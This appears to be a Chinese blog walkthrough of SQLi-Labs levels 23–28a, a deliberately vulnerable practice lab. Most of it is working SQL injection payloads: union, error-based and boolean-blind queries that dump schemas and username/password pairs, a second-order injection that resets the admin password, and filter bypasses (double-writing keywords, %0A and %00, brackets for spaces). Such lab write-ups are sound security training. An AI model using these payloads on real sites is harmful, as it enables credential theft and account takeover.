《SQLi-Labs》04. Less 23~28a
@TOC
靶场部署在 VMware - Win7。
索引
- Less-23:联合注入,注释符过滤绕过之构造闭合,
%00
截断,字符型【’】。 - Less-24:二次注入。字符型【’】。
- Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【’】。
- Less-25a:与 Less-25 差别不大。数字型。
- Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,
%00
截断,字符型【’】。 - Less-26a:与 Less-26 类似,布尔盲注。字符型【’)】。
- Less-27:与 Less-26 类似,报错注入。字符型【’】。
- Less-27a:与 Less-27 类似,联合注入。字符型【”】。
- Less-28:与前面几题都类似,联合注入。字符型【’)】。
- Less-28a:与 Less-28 不能说完全相同,只能说一模一样。
Less-23
思路与 Less1 一致。
题解
Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。
不过可以通过构造闭合语句来使用联合注入。
构造闭合:
1 | url + ?id=1' or '1'='1 |
判断回显位:
1 | url + ?id=1' union select 1,2' |
1 | url + ?id=1' union select 1,2,3' |
1 | url + ?id=1' union select 1,2,3,4' |
以上语句也可使用 %00
截断。
1 | ?id=1' union select 1,2,3,4; %00 |
爆库:
1 | url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1 |
另一种写法(使用 %00
截断):
1 | url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00 |
爆表:
1 | url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 |
爆字段:
1 | url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1 |
获取敏感数据:
1 | url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1 |
Less-24
题解
这题可以使用 name:Dumb,Password:Dumb 登录。
在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。
二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。
先直接看过程与分析吧。
先点击注册用户,注册 admin,提示用户已存在。
那就注册一个用户 admin'#
,密码随便。
注册之后可以看到注册的用户已插入数据库。
此时使用 admin'#
用户登录并修改密码,这里修改为 hello6
。
修改后再次查看数据库,可以看到 admin'#
用户密码没变,但 admin
用户的密码被更改了。
admin 密码都能自定义了,权限自然唾手可得了。
任务完成。
最后看看修改密码时发生了什么。看下源码。
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; |
由于信任数据库存放的信息,用户名代入时未作过滤。
所以代入以上构造的数据时 SQL 语句就是:
1 | $sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' "; |
语句注释后就成了修改 admin
用户密码的操作。
总结
二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。
Less-25
题解
根据提示,先测试一下:
爆库:
1 | url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1 |
“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。
也可以使用
||
与&&
爆库:
1 | url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1 |
剩下的过程参考 Less-23 即可。
Less-25a
题解
这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。
爆库:
1 | url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1 |
剩下的过程参考 Less-23 即可。
Less-26
题解
测试一下。
爆库:
1 | url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1 |
这一关过滤了注释符、空格、or、and。
“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。
这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。
补充一下空格绕过的方法,可以用以下字符代替:
1 | %09 TAB 键(水平) |
不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(
】来绕过空格。
判断字符类型:
1 | url + ?id=1' 报错 |
为单引号字符型。
判断回显位。
1 | url + ?id=1'union(select(1));%00 报错 |
不过报错注入空格使用比较少,所以直接上报错注入。
爆表:
1 | url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1 |
爆字段:
1 | url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 |
爆敏感信息:
1 | url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 |
总结
- 报错注入,详情参考 Less-17。
- 空格过滤绕过。
- 双写绕过。
- 构造闭合绕过。
Less-26a
题解
这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。
爆表:
1 | url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0 |
爆字段:
1 | url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0 |
爆敏感信息:
1 | url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0 |
这里附上一个布尔盲注自动化脚本:
1 | import requests |
Less-27
题解
Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多
这里直接上报错注入。
爆表:
1 | url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0 |
爆字段:
1 | url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0 |
爆敏感信息:
1 | url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0 |
Less-27a
题解
与 Less-27 类似,但是不返回报错信息。
爆字段
1 | url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1 |
爆敏感信息:
1 | url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1 |
Less-28
题解
字符型【’)】。过滤替换了一次 union select
。依旧双写绕过。
爆表:
1 | url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1 |
爆字段:
1 | url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1 |
爆敏感数据:
1 | url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1 |
Less-28a
题解
字符型【’)】。只过滤替换了一次 union select
,其他的没有过滤。
那就直接和 Less-28 一样了。其他方法这里就不尝试了。
谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。
——《格言联璧》(清)金缨